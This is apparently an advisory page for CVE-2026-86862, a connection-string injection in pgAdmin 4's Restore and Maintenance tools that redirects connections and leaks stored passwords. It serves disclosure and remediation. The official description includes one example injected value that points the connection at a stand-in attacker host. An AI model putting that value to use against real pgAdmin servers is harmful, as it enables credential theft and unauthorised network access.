# CVE-2026-86862: pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance tools > Authenticated users can redirect database connections to attacker-controlled servers, exposing credentials and enabling outbound network access. - **Severity:** High 7.1 (`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`) - **Exploited in the wild:** Not known - **Login needed:** Any signed-in user - **Attackable:** Over the internet - **Victim action needed:** Not needed - **Fix available:** No - **Published:** 17 Sep 2026 - **Updated:** 17 Sep 2026 - **Also known as:** GHSA-wvg3-mxwp-6pg5 ## What is CVE-2026-86862? CVE-2026-86862 is a high-severity server-side request forgery vulnerability in pgadmin.org pgAdmin 4, published on 17 Sep 2026. Any signed-in user can exploit it over the network, with no action from the victim. ### Official description pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18. Weakness: CWE-918 (Server-Side Request Forgery), CWE-88 (Improper Neutralization of Argument Delimiters in a Command), CWE-522 (Insufficiently Protected Credentials) ## Which versions are affected by CVE-2026-86862? It affects 1 product. Products: Pgadmin Pgadmin 4. ## How do I fix CVE-2026-86862? No fix has been published for CVE-2026-86862 yet. Limit exposure of the affected software until one is available. ## Is CVE-2026-86862 being exploited? There is no known exploitation of CVE-2026-86862 in the wild and no public exploit code. ## Other vulnerabilities in pgadmin.org pgAdmin 4 - [CVE-2025-2945](https://insights.sbomify.com/CVE-2025-2945/): pgAdmin 4: Remote Code Execution in Query Tool and Cloud Deployment (critical 9.9) - [CVE-2024-9014](https://insights.sbomify.com/CVE-2024-9014/): OAuth2 client id and secret exposed through the web browser in pgAdmin 4 (critical 9.9) - [CVE-2026-12046](https://insights.sbomify.com/CVE-2026-12046/): Deserialization in pgAdmin 4 (critical 9.5) - [CVE-2026-17351](https://insights.sbomify.com/CVE-2026-17351/): SQL injection in pgAdmin 4 (critical 9.4) - [CVE-2026-17566](https://insights.sbomify.com/CVE-2026-17566/): Command injection in pgAdmin 4 (critical 9.4) ## Fix prompt for AI coding agents ```text Check this codebase for CVE-2026-86862 and fix it if it is affected. What it is: CVE-2026-86862 is a high-severity server-side request forgery vulnerability in pgadmin.org pgAdmin 4, published on 17 Sep 2026. Any signed-in user can exploit it over the network, with no action from the victim. Exploitation: There is no known exploitation of CVE-2026-86862 in the wild and no public exploit code. Affected product: pgadmin.org pgAdmin 4. No package-level version data is available, so check the vendor advisory linked from the reference page. Task: 1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies. 2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it. 3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead. 4. Run the tests and summarise what changed and why. 5. If nothing in the project is affected, say so and change nothing. Reference: https://insights.sbomify.com/CVE-2026-86862/ (Markdown: https://insights.sbomify.com/CVE-2026-86862/index.md) ``` ## Sources - CVE record: https://www.cve.org/CVERecord?id=CVE-2026-86862 - NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-86862 - OSV: https://osv.dev/vulnerability/CVE-2026-86862 --- From sbomify Insights: https://insights.sbomify.com/CVE-2026-86862/ Summaries are generated and may contain mistakes; the official description above is the record.